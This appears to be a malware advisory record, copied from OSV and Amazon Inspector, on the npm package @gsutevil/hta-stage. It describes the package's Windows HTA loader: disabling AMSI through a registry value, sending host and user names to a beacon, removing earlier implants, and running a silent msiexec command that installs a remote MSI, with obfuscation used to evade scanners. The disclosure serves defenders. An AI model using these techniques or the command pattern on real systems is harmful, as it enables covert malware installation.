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Malicious code in @gsutevil/hta-stage (npm)

Exploitation and risk

Source status

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osv · MAL-2026-16419

Published

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (590b3432b8d849d5772e3be7a4fbc7daeca4aa927be2d411aaf3054d9a223dc9) The package ships a Windows HTA/WSH loader that installs a remote MSI on the victim host under the control of a base URL supplied at runtime via window.__gsutBases. On execution it (1) disables Anti-Malware Scan Interface for Windows Script Host by writing HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0 through both WScript.Shell.RegWrite and WMI StdRegProv.SetDWORDValue, with the value name reconstructed from a split array to evade static detection; (2) reads %COMPUTERNAME% and %USERNAME% via WScript.Shell.ExpandEnvironmentStrings and POSTs them together with phase/exit codes to <base>/v1/hta/event; (3) taskkills python.exe, pythonw.exe, core.exe, guest.exe and enumerates HKLM/HKCU Uninstall keys via WMI to silently msiexec-uninstall any product whose DisplayName equals "GSUT Guest" — prior-agent cleanup rather than a benign uninstall; (4) requests a token from <base>/v1/hta/msi-token and invokes msiexec /i "<base>/guest.msi?t=<tok>" /qn /norestart REBOOT=ReallySuppress via WScript.Shell.Run, with fallbacks through Shell.Application.ShellExecute and wmic process call create. Every sensitive identifier — ActiveXObject, WScript.Shell, Shell.Application, WbemScripting.SWbemLocator, StdRegProv, AmsiEnable, EtwEventWriteEx, GetProcAddress, GetModuleHandleA, VirtualProtect, MSXML2.ServerXMLHTTP, msiexec, wmic, and the Function constructor used to parse the token response — is reconstructed at runtime from character-array joins or string concatenation to evade signature scanning. The combined behavior (AMSI disablement, host-identity beacon, prior-implant cleanup, silent installation of a remotely fetched MSI from an attacker-supplied base URL, uniform identifier obfuscation) is the fingerprint of an HTA-stage malware loader.

Source published
22 Sep 2026 23:14:30 UTC
Source modified
22 Sep 2026 23:30:07 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

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Sources read 12 Nov 19:39 UTC · 274 of 275 readable · 272 fully read · documentation 464/469 current